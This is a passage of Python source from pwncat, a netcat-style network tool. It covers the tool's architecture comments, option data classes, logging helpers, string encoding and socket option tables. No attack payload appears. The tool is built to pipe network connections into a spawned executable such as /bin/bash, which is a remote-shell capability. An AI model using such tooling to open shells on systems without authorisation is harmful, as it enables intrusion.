# The single Runner instance puts it all-together. Each producer/consumer pair (and
# x many Transformer) will be moved into their own Thread.
# Producer and consumer of different instances can be mixed, when adding them to the Runner.
# This allows an Net-1.receive producer, to output it (chat), execute it (command)
# or to send it further via a second Net-2 class (proxy).
#
# A list of Transformer can be added to each consumer/producer pair, allowing further data
# transformation. This means you can simply write a Transformer, which wraps any kind of raw
# data into a Layer-7 protocol and/or unwraps it from it. This allows for easy extension
# of various protocols or other data transformations.
#
# 4. Signaling / Interrupts
# ------------------------------------
# The InterruptHandler instance is distributed across all Threads and and the Runner instance and
# is a way to let other Threads know that a stop signal has been requested.
# Producer/Consumer can implement their own interrupt function so they can be stopped from
# inside (if they do non-blocking stuff) or from outside (if they do blocking stuff).

from __future__ import print_function
from abc import abstractmethod
from abc import ABCMeta

from datetime import datetime
from subprocess import PIPE
from subprocess import Popen
from subprocess import STDOUT

import argparse
import base64
import logging
import os
import re
import select
import signal
import socket
import sys
import threading
import time

# Available since Python 3.3
try:
    import ipaddress
except ImportError:
    pass
# Posix terminal
try:
    import tty
    import termios
except ImportError:
    pass
# Windows
try:
    import msvcrt
except ImportError:
    pass

# Only used with mypy for static source code analysis
if os.environ.get("MYPY_CHECK", False):
    from typing import Optional, Iterator, List, Dict, Any, Callable, Tuple, Union, TypeVar
    from types import CodeType
    from typing_extensions import TypedDict  # pylint: disable=import-error

    SockInst = TypeVar("SockInst", bound="Sock")
    # The following is only to create virtual types for mypy in order to find
    # issues via static type linting.
    SockConn = TypedDict(
        "SockConn",
        {
            "sock": socket.socket,
            "conn": socket.socket,
            "local_host": Optional[str],
            "local_addr": str,
            "local_port": int,
            "remote_host": str,
            "remote_addr": str,
            "remote_port": int,
        },
        total=False,
    )
    SockActive = TypedDict(
        "SockActive",
        {"af": int, "conn": socket.socket, "remote_addr": str, "remote_port": int},
        total=False,
    )


# -------------------------------------------------------------------------------------------------
# GLOBALS
# -------------------------------------------------------------------------------------------------

APPNAME = "pwncat"
APPREPO = "https://github.com/cytopia/pwncat"
VERSION = "0.1.2"

# Default timeout for timeout-based sys.stdin and socket.recv
TIMEOUT_READ_STDIN = 0.05
TIMEOUT_RECV_SOCKET = 0.05
TIMEOUT_RECV_SOCKET_RETRY = 1

# https://docs.python.org/3/library/subprocess.html#popen-constructor
# * 0 means unbuffered (read and write are one system call and can return short)
# * 1 means line buffered (only usable if universal_newlines=True i.e., in a text mode)
# * any other positive value means use a buffer of approximately that size
# * negative bufsize (the default) means the system default of io.DEFAULT_BUFFER_SIZE will be used.
# TODO: should I use 'bufsize=1'?
# TODO: Probably set it to 0: https://stackoverflow.com/a/45664969
POPEN_BUFSIZE = -1

# https://docs.python.org/3/library/socket.html#socket.socket.recv
RECV_BUFSIZE = 8192

# https://docs.python.org/3/library/socket.html#socket.socket.listen
LISTEN_BACKLOG = 0


# #################################################################################################
# #################################################################################################
# ###
# ###   1 / 11   M E T A   C L A S S E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [1/11 META CLASSES]: (1/2) Abstract
# -------------------------------------------------------------------------------------------------
# Abstract class with Python 2 + Python 3 support: https://stackoverflow.com/questions/35673474
ABC = ABCMeta("ABC", (object,), {"__slots__": ()})


# -------------------------------------------------------------------------------------------------
# [1/11 META CLASSES]: (2/2) Singleton
# -------------------------------------------------------------------------------------------------
class _Singleton(type):
    """A thread-safe metaclass that creates a Singleton base class when called."""

    # https://refactoring.guru/design-patterns/singleton/python/example#example-1
    _instances = {}  # type: Dict[_Singleton, _Singleton]

    _lock = threading.Lock()

    def __call__(cls, *args, **kwargs):
        # type: (_Singleton, Any, Any) -> _Singleton

        # Now, imagine that the program has just been launched. Since there's no
        # Singleton instance yet, multiple threads can simultaneously pass the
        # previous conditional and reach this point almost at the same time. The
        # first of them will acquire lock and will proceed further, while the
        # rest will wait here.
        with cls._lock:
            # The first thread to acquire the lock, reaches this conditional,
            # goes inside and creates the Singleton instance. Once it leaves the
            # lock block, a thread that might have been waiting for the lock
            # release may then enter this section. But since the Singleton field
            # is already initialized, the thread won't create a new object.
            if cls not in cls._instances:
                cls._instances[cls] = super(_Singleton, cls).__call__(*args, **kwargs)
        return cls._instances[cls]


# #################################################################################################
# #################################################################################################
# ###
# ###   2 / 11   D A T A   S T R U C T U R E   T Y P E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (1/12) DsCallableProducer
# -------------------------------------------------------------------------------------------------
class DsCallableProducer(object):
    """A type-safe data structure for Callable functions."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def function(self):
        # type: () -> Callable[..., Iterator[bytes]]
        """`IO.producer`: Callable funtcion function."""
        return self.__function

    @property
    def args(self):
        # type: () -> Any
        """`*args`: optional *args for the callable function."""
        return self.__args

    @property
    def kwargs(self):
        # type: () -> Any
        """`**kargs`: optional *kwargs for the callable function."""
        return self.__kwargs

    # --------------------------------------------------------------------------
    # Contrcutor
    # --------------------------------------------------------------------------
    def __init__(self, function, *args, **kwargs):
        # type: (Callable[..., Iterator[bytes]], Any, Any) -> None
        self.__function = function
        self.__args = args
        self.__kwargs = kwargs


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (2/12) DsRunnerAction
# -------------------------------------------------------------------------------------------------
class DsRunnerAction(object):
    """A type-safe data structure for Action functions for the Runner class."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def producer(self):
        # type: () -> DsCallableProducer
        """`DsCallableProducer`: Data producer function struct with args and kwargs."""
        return self.__producer

    @property
    def consumer(self):
        # type: () -> Callable[[bytes], None]
        """`IO.consumer`: Data consumer function."""
        return self.__consumer

    @property
    def interrupts(self):
        # type: () -> List[Callable[[], None]]
        """`[List[Callable[[], None]]]`: List of interrupt functions for the producer/consumer."""
        return self.__interrupts

    @property
    def transformers(self):
        # type: () -> List[Transform]
        """`[Transform.transformer]`: List of transformer functions applied before consumer."""
        return self.__transformers

    @property
    def daemon_thread(self):
        # type: () -> bool
        """`bool`: Determines if the action will be started in a daemon thread."""
        return self.__daemon_thread

    @property
    def code(self):
        # type: () -> Optional[Union[str, bytes, CodeType]]
        """`ast.AST`: custom Python code which provides a `transform(data, pse) -> str` function."""
        return self.__code

    # --------------------------------------------------------------------------
    # Contrcutor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        producer,  # type: DsCallableProducer
        consumer,  # type: Callable[[bytes], None]
        interrupts,  # type: List[Callable[[], None]]
        transformers,  # type: List[Transform]
        daemon_thread,  # type: bool
        code,  # type: Optional[Union[str, bytes, CodeType]]
    ):
        # type: (...) -> None
        self.__producer = producer
        self.__consumer = consumer
        self.__interrupts = interrupts
        self.__transformers = transformers
        self.__daemon_thread = daemon_thread
        self.__code = code


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (3/12) DsRunnerTimer
# -------------------------------------------------------------------------------------------------
class DsRunnerTimer(object):
    """A type-safe data structure for Timer functions for the Runner class."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def action(self):
        # type: () -> Callable[..., None]
        """`Callable[..., None]`: function to be run periodically."""
        return self.__action

    @property
    def intvl(self):
        # type: () -> int
        """`int`: interval at which to run the action function.."""
        return self.__intvl

    @property
    def args(self):
        # type: () -> Tuple[Any, ...]
        """`*args`: optional *args for the action function."""
        return self.__args

    @property
    def kwargs(self):
        # type: () -> Dict[str, Any]
        """`**kargs`: optional *kwargs for the action function."""
        return self.__kwargs

    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance."""
        return self.__ssig

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        action,  # type: Callable[..., None]
        ssig,  # type: InterruptHandler
        intvl,  # type: int
        args,  # type: Tuple[Any, ...]
        kwargs,  # type: Dict[str, Any]
    ):
        # type: (...) -> None
        assert type(intvl) is int, type(intvl)
        assert type(kwargs) is dict, type(kwargs)
        self.__action = action
        self.__ssig = ssig
        self.__intvl = intvl
        self.__args = args
        self.__kwargs = kwargs


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (4/12) DsRunnerRepeater
# -------------------------------------------------------------------------------------------------
class DsRunnerRepeater(object):
    """A type-safe data structure for repeated functions for the Runner class."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def action(self):
        # type: () -> Callable[..., None]
        """`Callable[..., None]`: function to be run periodically."""
        return self.__action

    @property
    def repeat(self):
        # type: () -> int
        """`int`: how many times to repeat the action function."""
        return self.__repeat

    @property
    def pause(self):
        # type: () -> float
        """`int`: pause in seconds between repeated action calls."""
        return self.__pause

    @property
    def args(self):
        # type: () -> Tuple[Any, ...]
        """`*args`: optional *args for the action function."""
        return self.__args

    @property
    def kwargs(self):
        # type: () -> Dict[str, Any]
        """`**kargs`: optional *kwargs for the action function."""
        return self.__kwargs

    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance."""
        return self.__ssig

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        action,  # type: Callable[..., None]
        ssig,  # type: InterruptHandler
        repeat,  # type: int
        pause,  # type: float
        args,  # type: Tuple[Any, ...]
        kwargs,  # type: Dict[str, Any]
    ):
        # type: (...) -> None
        assert type(repeat) is int, type(repeat)
        assert type(pause) is float, type(pause)
        assert type(kwargs) is dict, type(kwargs)
        self.__action = action
        self.__ssig = ssig
        self.__repeat = repeat
        self.__pause = pause
        self.__args = args
        self.__kwargs = kwargs


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (5/12) DsSock
# -------------------------------------------------------------------------------------------------
class DsSock(object):
    """A type-safe data structure for DsSock options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def bufsize(self):
        # type: () -> int
        """`int`: Receive buffer size."""
        return self.__bufsize

    @property
    def backlog(self):
        # type: () -> int
        """`int`: Listen backlog."""
        return self.__backlog

    @property
    def recv_timeout(self):
        # type: () -> Optional[float]
        """`float` or `None`: Receive timeout to change blocking socket to time-out based."""
        return self.__recv_timeout

    @property
    def nodns(self):
        # type: () -> bool
        """`bool`: Determines if we resolve hostnames or not."""
        return self.__nodns

    @property
    def ipv4(self):
        # type: () -> bool
        """`bool`: Only use IPv4 instead of both, IPv4 and IPv6."""
        return self.__ipv4

    @property
    def ipv6(self):
        # type: () -> bool
        """`bool`: Only use IPv6 instead of both, IPv4 and IPv6."""
        return self.__ipv6

    @property
    def src_addr(self):
        # type: () -> Optional[str]
        """`bool`: Custom source address for connect mode."""
        return self.__src_addr

    @property
    def src_port(self):
        # type: () -> Optional[int]
        """`bool`: Custom source port for connect mode."""
        return self.__src_port

    @property
    def udp(self):
        # type: () -> bool
        """`bool`: Determines if we use TCP or UDP."""
        return self.__udp

    @property
    def udp_sconnect(self):
        # type: () -> bool
        """`bool`: Determines if we use stateful connect for UDP."""
        return self.__udp_sconnect

    @property
    def udp_sconnect_word(self):
        # type: () -> str
        """`str`: What string to send when emulating a stateful UDP connect."""
        return self.__udp_sconnect_word

    @property
    def ip_tos(self):
        # type: () -> Optional[str]
        """`str`: Determines what IP_TOS (Type of Service) value to set for the socket."""
        return self.__ip_tos

    @property
    def info(self):
        # type: () -> Optional[str]
        """`str`: Determines what info to display about the socket connection."""
        return self.__info

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        bufsize,  # type: int
        backlog,  # type: int
        recv_timeout,  # type: Optional[float]
        nodns,  # type: bool
        ipv4,  # type: bool
        ipv6,  # type: bool
        src_addr,  # type: Optional[str]
        src_port,  # type: Optional[int]
        udp,  # type: bool
        udp_sconnect,  # type: bool
        udp_sconnect_word,  # type: str
        ip_tos,  # type: Optional[str]
        info,  # type: str
    ):
        # type: (...) -> None
        assert type(bufsize) is int, type(bufsize)
        assert type(backlog) is int, type(backlog)
        assert type(recv_timeout) is float, type(recv_timeout)
        assert type(nodns) is bool, type(nodns)
        assert type(ipv4) is bool, type(ipv4)
        assert type(ipv6) is bool, type(ipv6)
        assert type(src_addr) is str or src_addr is None, type(src_addr)
        assert type(src_port) is int or src_port is None, type(src_port)
        assert type(udp) is bool, type(udp)
        self.__bufsize = bufsize
        self.__backlog = backlog
        self.__recv_timeout = recv_timeout
        self.__nodns = nodns
        self.__ipv4 = ipv4
        self.__ipv6 = ipv6
        self.__src_addr = src_addr
        self.__src_port = src_port
        self.__udp = udp
        self.__udp_sconnect = udp_sconnect
        self.__udp_sconnect_word = udp_sconnect_word
        self.__ip_tos = ip_tos
        self.__info = info


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (6/12) DsIONetworkSock
# -------------------------------------------------------------------------------------------------
class DsIONetworkSock(DsSock):
    """A type-safe data structure for IONetwork socket options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def recv_timeout_retry(self):
        # type: () -> int
        """`int`: How many times to retry receiving if stop signal was raised."""
        return self.__recv_timeout_retry

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        bufsize,  # type: int
        backlog,  # type: int
        recv_timeout,  # type: Optional[float]
        recv_timeout_retry,  # type: int
        nodns,  # type: bool
        ipv4,  # type: bool
        ipv6,  # type: bool
        src_addr,  # type: Optional[str]
        src_port,  # type: Optional[bool]
        udp,  # type: bool
        udp_sconnect,  # type: bool
        udp_sconnect_word,  # type: str
        ip_tos,  # type: Optional[str]
        info,  # type: str
    ):
        # type: (...) -> None
        assert type(recv_timeout_retry) is int, type(recv_timeout_retry)
        self.__recv_timeout_retry = recv_timeout_retry
        super(DsIONetworkSock, self).__init__(
            bufsize,
            backlog,
            recv_timeout,
            nodns,
            ipv4,
            ipv6,
            src_addr,
            src_port,
            udp,
            udp_sconnect,
            udp_sconnect_word,
            ip_tos,
            info,
        )


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (7/12) DsIONetworkCli
# -------------------------------------------------------------------------------------------------
class DsIONetworkCli(object):
    """A type-safe data structure for IONetwork client options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def reconn(self):
        # type: () -> int
        """`int`: If connection fails, retry endless (if negative) or x many times."""
        return self.__reconn

    @reconn.setter
    def reconn(self, value):
        # type: (int) -> None
        assert type(value) is int, type(value)
        self.__reconn = value

    @property
    def reconn_wait(self):
        # type: () -> float
        """`float`: Wait time between re-connections in seconds."""
        return self.__reconn_wait

    @reconn_wait.setter
    def reconn_wait(self, value):
        # type: (float) -> None
        assert type(value) is float, type(value)
        self.__reconn_wait = value

    @property
    def reconn_robin(self):
        # type: () -> List[int]
        """`[int]`: List of alternating re-connection ports."""
        return self.__reconn_robin

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, reconn, reconn_wait, reconn_robin):
        # type: (int, float, List[int]) -> None
        assert type(reconn) is int, type(reconn)
        assert type(reconn_wait) is float, type(reconn_wait)
        assert type(reconn_robin) is list, type(reconn_robin)
        for i in reconn_robin:
            assert type(i) is int, type(i)
        self.__reconn = reconn
        self.__reconn_wait = reconn_wait
        self.__reconn_robin = reconn_robin


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (8/12) DsIONetworkSrv
# -------------------------------------------------------------------------------------------------
class DsIONetworkSrv(object):
    """A type-safe data structure for IONetwork server options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def keep_open(self):
        # type: () -> bool
        """`bool`: Accept new clients if one has disconnected."""
        return bool(self.__keep_open)

    @keep_open.setter
    def keep_open(self, value):
        # type: (bool) -> None
        """Change keep_open value."""
        assert type(value) is bool, type(value)
        self.__keep_open = value

    @property
    def rebind(self):
        # type: () -> int
        """`int`: If binding fails, retry endless (if negative) or x many times."""
        return self.__rebind

    @rebind.setter
    def rebind(self, value):
        # type: (int) -> None
        assert type(value) is int, type(value)
        self.__rebind = value

    @property
    def rebind_wait(self):
        # type: () -> float
        """`float`: Wait time between rebinds in seconds."""
        return self.__rebind_wait

    @property
    def rebind_robin(self):
        # type: () -> List[int]
        """`[int]`: List of alternating rebind ports."""
        return self.__rebind_robin

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, keep_open, rebind, rebind_wait, rebind_robin):
        # type: (bool, int, float, List[int]) -> None
        assert type(keep_open) is bool, type(keep_open)
        assert type(rebind) is int, type(rebind)
        assert type(rebind_wait) is float, type(rebind_wait)
        assert type(rebind_robin) is list, type(rebind_robin)
        for i in rebind_robin:
            assert type(i) is int, type(i)
        self.keep_open = keep_open
        self.__rebind = rebind
        self.__rebind_wait = rebind_wait
        self.__rebind_robin = rebind_robin


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (9/12) DsTransformLinefeed
# -------------------------------------------------------------------------------------------------
class DsTransformLinefeed(object):
    """A type-safe data structure for DsTransformLinefeed options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def crlf(self):
        # type: () -> Optional[str]
        """`bool`: Converts line endings to LF, CRLF or CR and noop on `None`."""
        return self.__crlf

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, crlf):
        # type: (Optional[str]) -> None
        super(DsTransformLinefeed, self).__init__()
        self.__crlf = crlf


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (10/12) DsTransformSafeword
# -------------------------------------------------------------------------------------------------
class DsTransformSafeword(object):
    """A type-safe data structure for DsTransformSafeword options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance to trigger a shutdown signal."""
        return self.__ssig

    @property
    def safeword(self):
        # type: () -> str
        """`str`: The safeword to shutdown the instance upon receiving."""
        return self.__safeword

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, safeword):
        # type: (InterruptHandler, str) -> None
        super(DsTransformSafeword, self).__init__()
        self.__ssig = ssig
        self.__safeword = safeword


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (11/12) DsIOStdinStdout
# -------------------------------------------------------------------------------------------------
class DsIOStdinStdout(object):
    """A type-safe data structure for IOStdinStdout options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def enc(self):
        # type: () -> StringEncoder
        """`StringEncoder`: String encoder instance."""
        return self.__enc

    @property
    def input_timeout(self):
        # type: () -> Optional[float]
        """`float`: Input timeout in seconds for non-blocking read or `None` for blocking."""
        return self.__input_timeout

    @property
    def send_on_eof(self):
        # type: () -> bool
        """`float`: Determines if we buffer STDIN until EOF before sending."""
        return self.__send_on_eof

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, encoder, input_timeout, send_on_eof):
        # type: (StringEncoder, Optional[float], bool) -> None
        super(DsIOStdinStdout, self).__init__()
        self.__enc = encoder
        self.__input_timeout = input_timeout
        self.__send_on_eof = send_on_eof


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (12/12) DsIOCommand
# -------------------------------------------------------------------------------------------------
class DsIOCommand(object):
    """A type-safe data structure for IOCommand options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def enc(self):
        # type: () -> StringEncoder
        """`StringEncoder`: Instance of StringEncoder."""
        return self.__enc

    @property
    def executable(self):
        # type: () -> str
        """`srt`: Name or path of executable to run (e.g.: `/bin/bash`)."""
        return self.__executable

    @property
    def bufsize(self):
        # type: () -> int
        """`int`: `subprocess.Popen` bufsize.

        https://docs.python.org/3/library/subprocess.html#popen-constructor
        0 means unbuffered (read and write are one system call and can return short)
        1 means line buffered (only usable if universal_newlines=True i.e., in a text mode)
        any other positive value means use a buffer of approximately that size
        negative bufsize (the default) means system default of io.DEFAULT_BUFFER_SIZE will be used.
        """
        return self.__bufsize

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, enc, executable, bufsize):
        # type: (StringEncoder, str, int) -> None
        self.__enc = enc
        self.__executable = executable
        self.__bufsize = bufsize


# #################################################################################################
# #################################################################################################
# ###
# ###   3 / 11   L I B R A R Y   C L A S S E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [3/11 LIBRARY CLASSES]: (1/3) TraceLogger
# -------------------------------------------------------------------------------------------------
class TraceLogger(logging.getLoggerClass()):  # type: ignore
    """Extend Python's default logger class with TRACE level logging."""

    LEVEL_NUM = 9
    LEVEL_NAME = "TRACE"

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, name, level=logging.NOTSET):
        # type: (str, int) -> None
        """Instantiate TraceLogger class.

        Args:
            name (str):  Instance name.
            level (int): Current log level.
        """
        super(TraceLogger, self).__init__(name, level)
        logging.addLevelName(self.LEVEL_NUM, self.LEVEL_NAME)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def trace(self, msg, *args, **kwargs):
        # type: (str, Any, Any) -> None
        """Set custom log level for TRACE.

        Args:
            msg (str): The log message.
            args (args): *args for trace level log function.
            kwargs (kwargs): kwargs for trace level log function.
        """
        if self.isEnabledFor(self.LEVEL_NUM):
            # Yes, logger takes its '*args' as 'args'.
            self._log(self.LEVEL_NUM, msg, args, **kwargs)


# -------------------------------------------------------------------------------------------------
# [3/11 LIBRARY CLASSES]: (2/3) ColoredLogFormatter
# -------------------------------------------------------------------------------------------------
class ColoredLogFormatter(logging.Formatter):
    """Custom log formatter which adds different details and color support."""

    COLORS = {
        logging.CRITICAL: "\x1b[31;1m",  # bold red
        logging.ERROR: "\x1b[31;21m",  # red
        logging.WARNING: "\x1b[33;21m",  # yellow
        logging.INFO: "\x1b[32;21m",  # green
        logging.DEBUG: "\x1b[30;21m",  # gray
    }
    COLOR_DEF = COLORS[logging.DEBUG]
    COLOR_RST = "\x1b[0m"

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, color, loglevel):
        # type: (str, int) -> None
        """Instantiate ColoredLogFormatter class.

        Args:
            color (str):  Either be `alway`, `never` or `auto`.
            loglevel (int): Current desired log level.
        """
        super(ColoredLogFormatter, self).__init__()
        self.color = color
        self.loglevel = loglevel
        self.tty = sys.stderr.isatty()

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def format(self, record):
        # type: (logging.LogRecord) -> str
        """Apply custom formatting to log message."""
        log_fmt = self.__get_format()
        log_fmt = self.__colorize(record.levelno, log_fmt)
        formatter = logging.Formatter(log_fmt)
        return formatter.format(record)

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __get_format(self):
        # type: () -> str
        """Return format string based on currently applied log level."""
        # In debug logging we add slightly more info to all formats
        if self.loglevel == logging.DEBUG:
            return "%(levelname)s [%(threadName)s]: %(message)s"
        # In lower than debug logging we will add even more info to all log formats
        if self.loglevel < logging.DEBUG:
            return (
                "%(asctime)s %(levelname)s [%(threadName)s] %(lineno)d:%(funcName)s(): %(message)s"
            )
        # By default, we will only add basic info
        return "%(levelname)s: %(message)s"

    def __colorize(self, level, fmt):
        # type: (int, str) -> str
        """Colorize a log message based on its level."""
        if self.color == "never":
            return fmt

        # If stderr is redirected to a file or we're running on windows, do not do colorize
        if self.color == "auto" and (not self.tty or os.name == "nt"):
            return fmt

        return self.COLORS.get(level, self.COLOR_DEF) + fmt + self.COLOR_RST


# -------------------------------------------------------------------------------------------------
# [3/11 LIBRARY CLASSES]: (3/3) StringEncoder
# -------------------------------------------------------------------------------------------------
class StringEncoder(object):
    """Takes care about Python 2/3 string encoding/decoding.

    This allows to parse all string/byte values internally between all
    classes or functions as strings to keep full Python 2/3 compat.
    """

    CODECS = [
        "utf-8",
        "cp437",
        "latin-1",
    ]

    # --------------------------------------------------------------------------
    # Class methods
    # --------------------------------------------------------------------------
    @classmethod
    def rstrip(cls, data, search=None):
        # type: (Union[bytes, str], Optional[str]) -> Union[bytes, str]
        """Implementation of rstring which works on bytes or strings."""
        # We have a bytes object in Python3
        if sys.version_info >= (3, 0) and type(data) is not str:
            # Strip whitespace
            if search is None:
                while True:
                    new = data
                    new = cls.rstrip(new, " ")
                    new = cls.rstrip(new, "\n")
                    new = cls.rstrip(new, "\r")
                    new = cls.rstrip(new, "\t")
                    # Loop until no more changes occur
                    if new == data:
                        return new
            else:
                bsearch = StringEncoder.encode(search)
                while data[-1:] == bsearch:
                    data = data[:-1]
                return data

        # Use native function
        if search is None:
            return data.rstrip()
        return data.rstrip(search)  # type: ignore

    @classmethod
    def encode(cls, data):
        # type: (str) -> bytes
        """Convert string into a byte type for Python3."""
        if sys.version_info >= (3, 0):
            for codec in cls.CODECS:
                # On the last codec, do not catch the exception and let it trigger if it fails
                if codec == cls.CODECS[-1]:
                    return data.encode(codec)
                try:
                    return data.encode(codec)
                except UnicodeEncodeError:
                    pass
        return data  # type: ignore

    @classmethod
    def decode(cls, data):
        # type: (bytes) -> str
        """Convert bytes into a string type for Python3."""
        if sys.version_info >= (3, 0):
            for codec in cls.CODECS:
                # On the last codec, do not catch the exception and let it trigger if it fails
                if codec == cls.CODECS[-1]:
                    return data.decode(codec)
                try:
                    return data.decode(codec)
                except UnicodeDecodeError:
                    pass
        return data  # type: ignore


# #################################################################################################
# #################################################################################################
# ###
# ###   4 / 11   N E T W O R K
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [4/11 NETWORK]: (1/1) Sock
# -------------------------------------------------------------------------------------------------
class Sock(_Singleton("SingletonMeta", (object,), {})):  # type: ignore
    """Thread-safe singleton Socket wrapper to emulate a module within the same file."""

    def __init__(self):
        # type: () -> None
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Private constants
    # --------------------------------------------------------------------------
    # For Internet Protocol v4 the value consists of an integer, the least
    # significant 8 bits of which represent the value of the TOS octet in IP
    # packets sent by the socket. RFC 1349 defines the TOS values as follows:
    __IP_TOS = {
        "mincost": 0x02,
        "lowcost": 0x02,
        "reliability": 0x04,
        "throughput": 0x08,
        "lowdelay": 0x10,
    }

    # Human readable address families
    __AF_HUMAN = {
        int(socket.AF_INET): "IPv4",
        int(socket.AF_INET6): "IPv6",
    }

    # Human readable socket types
    __ST_HUMAN = {
        int(socket.SOCK_STREAM): "TCP",
        int(socket.SOCK_DGRAM): "UDP",
    }

    # https://hg.python.org/cpython/file/3.5/Modules/socketmodule.c
    __SOCK_OPTS = {
        "Sock": [
            "SO_DEBUG",
            "SO_ACCEPTCONN",
            "SO_REUSEADDR",
            "SO_EXCLUSIVEADDRUSE",
            "SO_KEEPALIVE",
            "SO_DONTROUTE",
            "SO_BROADCAST",
            "SO_USELOOPBACK",
            "SO_LINGER",
            "SO_OOBINLINE",
            "SO_REUSEPORT",
            "SO_SNDBUF",
            "SO_RCVBUF",
            "SO_SNDLOWAT",
            "SO_RCVLOWAT",
            "SO_SNDTIMEO",
            "SO_RCVTIMEO",
            "SO_ERROR",
            "SO_TYPE",
            "SO_SETFIB",
            "SO_PASSCRED",
            "SO_PEERCRED",
            "LOCAL_PEERCRED",
            "SO_BINDTODEVICE",
            "SO_PRIORITY",
            "SO_MARK",
        ],
        "IPv4": [
            "IP_OPTIONS",
            "IP_HDRINCL",
            "IP_TOS",
            "IP_TTL",
            "IP_RECVOPTS",
            "IP_RECVRETOPTS",
            "IP_RECVDSTADDR",
            "IP_RETOPTS",
            "IP_MULTICAST_IF",
            "IP_MULTICAST_TTL",
            "IP_MULTICAST_LOOP",
            "IP_ADD_MEMBERSHIP",
            "IP_DROP_MEMBERSHIP",
            "IP_DEFAULT_MULTICAST_TTL",
            "IP_DEFAULT_MULTICAST_LOOP",
            "IP_MAX_MEMBERSHIPS",
            "IP_TRANSPARENT",
        ],
        "IPv6": [
            "IPV6_JOIN_GROUP",
            "IPV6_LEAVE_GROUP",
            "IPV6_MULTICAST_HOPS",
            "IPV6_MULTICAST_IF",
            "IPV6_MULTICAST_LOOP",
            "IPV6_UNICAST_HOPS",
            "IPV6_V6ONLY",
            "IPV6_CHECKSUM",
            "IPV6_DONTFRAG",
            "IPV6_DSTOPTS",
            "IPV6_HOPLIMIT",
            "IPV6_HOPOPTS",
            "IPV6_NEXTHOP",
            "IPV6_PATHMTU",
            "IPV6_PKTINFO",
            "IPV6_RECVDSTOPTS",
            "IPV6_RECVHOPLIMIT",
            "IPV6_RECVHOPOPTS",
            "IPV6_RECVPKTINFO",
            "IPV6_RECVRTHDR",
            "IPV6_RECVTCLASS",
            "IPV6_RTHDR",
            "IPV6_RTHDRDSTOPTS",
            "IPV6_RTHDR_TYPE_0",
            "IPV6_RECVPATHMTU",
            "IPV6_TCLASS",
            "IPV6_USE_MIN_MTU",
        ],
        "TCP": [
            "TCP_NODELAY",
            "TCP_MAXSEG",
            "TCP_CORK",
            "TCP_KEEPIDLE",
            "TCP_KEEPINTVL",
            "TCP_KEEPCNT",
            "TCP_SYNCNT",
            "TCP_LINGER2",
            "TCP_DEFER_ACCEPT",
            "TCP_WINDOW_CLAMP",
            "TCP_INFO",
            "TCP_QUICKACK",
            "TCP_FASTOPEN",
        ],
    }

